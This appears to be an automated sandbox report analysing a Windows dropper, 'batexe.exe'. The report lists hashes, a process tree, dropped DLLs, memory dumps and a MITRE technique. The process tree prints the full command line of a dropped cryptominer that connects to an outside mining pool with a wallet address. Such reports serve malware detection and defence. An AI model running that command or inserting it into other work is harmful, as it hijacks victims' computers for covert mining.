73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
292s
max time network
302s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
19/02/2024, 18:48

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2744	b2e.exe
516	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
516	cpuminer-sse2.exe
516	cpuminer-sse2.exe
516	cpuminer-sse2.exe
516	cpuminer-sse2.exe
516	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4296-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4296 wrote to memory of 2744	4296	batexe.exe	74
PID 4296 wrote to memory of 2744	4296	batexe.exe	74
PID 4296 wrote to memory of 2744	4296	batexe.exe	74
PID 2744 wrote to memory of 3368	2744	b2e.exe	75
PID 2744 wrote to memory of 3368	2744	b2e.exe	75
PID 2744 wrote to memory of 3368	2744	b2e.exe	75
PID 3368 wrote to memory of 516	3368	cmd.exe	78
PID 3368 wrote to memory of 516	3368	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4296
- C:\Users\Admin\AppData\Local\Temp\9337.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9337.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9337.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9579.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3368
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:516

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9337.tmp\b2e.exe

Filesize
3.2MB

MD5
a077d0b4733763a157f9567a7f975fc4

SHA1
4392276973196157edc9d4f2f0ae9a3b5cd5a6ed

SHA256
646cccdef254f35393eb1766e3c7c8d9acbb0a4ba6b21184dda943f311616fd4

SHA512
01531e468a2d43cbbfe08b4611894dde2fc112afba1b2967dcef9aaeb97e0039af2dc98c1ff7c570f24a85a0d23c2e782197e9370a22343a5f09dad01a3a8783

Download Submit
C:\Users\Admin\AppData\Local\Temp\9337.tmp\b2e.exe

Filesize
3.0MB

MD5
3dc357b249165e962301d1449fd561b9

SHA1
ffa17bce00c33d5f2bad130651ab4a7c01ab4f8d

SHA256
b968f831a1cab36b12f2babd4ba8e036841506a3dca1a57387c0b853ac27299b

SHA512
e7a7bdbba93d7597c43cf814b0e94ca10a970b74e5fd2909b2d9a47c779e5471652ca475ce816acd805b60b3ca0abcd703eeff74386d7181884e16b659ad9456

Download Submit
C:\Users\Admin\AppData\Local\Temp\9579.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1007KB

MD5
f13ef4edbc262b4bdf623f08abe873d7

SHA1
a7d3ac067cc482351d39c8ba140d15ab2574adc3

SHA256
89bedf470e6da7b1b0b8107673a5628ad42108e9067b23ef094ef7254a3e1644

SHA512
4e8665d04c5dcddfb08458ec14b9aa11668ddb61cbf71b355bd462637404f16dd9e8f56049a66b8b4e143727a6b31f0a3d5b3f7a9658fb304f905e2eebde3f69

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
741KB

MD5
4ee009955dedcd3744ae35aba5a4c51b

SHA1
644f58cc5df69fced7d7b3d182bb9766352e0bb6

SHA256
ca3e75cc2cd8fcee1c984afffbc844d55b2f579e0b9a20bad441dfbe032f647c

SHA512
f359a0730da8c9b8e5aaba81dd3c6980d41504a690d95547fd97a2a8e9206c923df4789a466b7afba0aea9c2176f8ddd17073b8a0fc0f2946bc18361263102c1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
860KB

MD5
d7e394d4dcc98983fa447bea29835061

SHA1
fa0afee1d8ab2e4a8cd864a06170aca247e8b25f

SHA256
59d90488c684dcb5a30df40d4857d11e02fc0a5771a8591b55aa6a5155df9190

SHA512
a8b432537dabecef8f01c831658272a7f06529a7eaaad2235d51505579b2a9d52f74f8968ccdeb60d7bf069e244b50c68b743a90ac83d620c1ec1f3bf0395f18

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
570KB

MD5
14400128bc12d25f4a454eec013c3a3d

SHA1
999735916b23db078b53683ab41fb40056b26a10

SHA256
8565ed9366068e1db20650aaedad446def5257b9126bb6914f6ac953966cf68a

SHA512
db7a41fc26839c75c4567341d5d07feabcf870970708e3fba677061180341b8233232965b5e54ba50b04d5e4312546e561150443882f4e0b4e072c2db1704bc8

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
755KB

MD5
afe2353bcd08a7ee6a869b125e585669

SHA1
3fd8850fc4f2831e4ed373106e7bb0d917026a2e

SHA256
f6607d7c79d75ca07735a912624ddf66866d2e01ef94bceacb48d4e4cea9034b

SHA512
1c1d2cd7de6b2d3d396bcff2e26862b492649ab818a4023b221190f5e26a1680155dea19e3646ddde18395ddaa92c18f60e0e18a7279e42189044de952cd4f23

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
597KB

MD5
e3805fd7dab48fc15f6caddec489b54c

SHA1
935b50ec505837709db1f7e7922c73546c0b1c3f

SHA256
da6566359c552521f85b41ea1ccebd59f1c65f03d45680c5b04b9815d793e11a

SHA512
771ca26bacf3c54d8bc89e855bd9a123d59a11c701bfc82789b0ea98f3ba11f1a0f11d457f69a01c7354da6a94baa75b4716c3e90370e86edf644a30bdbaf0da

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
407KB

MD5
8389fd4cae9013e77e13d32fea7ac0c8

SHA1
7daa3ce4001579042022b333f1d5479e43efdd4c

SHA256
211759b70a569470db6ae79359d645b684f7874aa80dbf9bdd70129d4f26efaa

SHA512
db8ec816452e0c080bdc84c12a7feb259ebca5045ac5158e68efa53bb4d005adf1a6350f612c7854b35e208efc1f414ad401f7025620ad18fb5cbe68945441a5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
389KB

MD5
81a8f90e6ae4fe06e1b3b4efa7859025

SHA1
f011530c3c06e7303a795f38942048b28c0290ce

SHA256
daefd1d5695a9a747ddf0030f438ee55d177e887a31214a5a48751d25a5be9b3

SHA512
bbb111e67444df93a6540c59bd64e1001bf4d54899ee229a432f06e6349df64d0b1461f89c5699fa27ec9041e7b4f95d32e0d0f6862fae788a248cf8dfd99cfd

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/516-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/516-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/516-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/516-43-0x000000005CEE0000-0x000000005CF78000-memory.dmp

Filesize
608KB

Download
memory/516-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/516-44-0x00000000010F0000-0x00000000029A5000-memory.dmp

Filesize
24.7MB

Download
memory/516-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/516-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/516-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/516-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/516-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/516-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/516-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/516-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2744-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2744-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4296-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download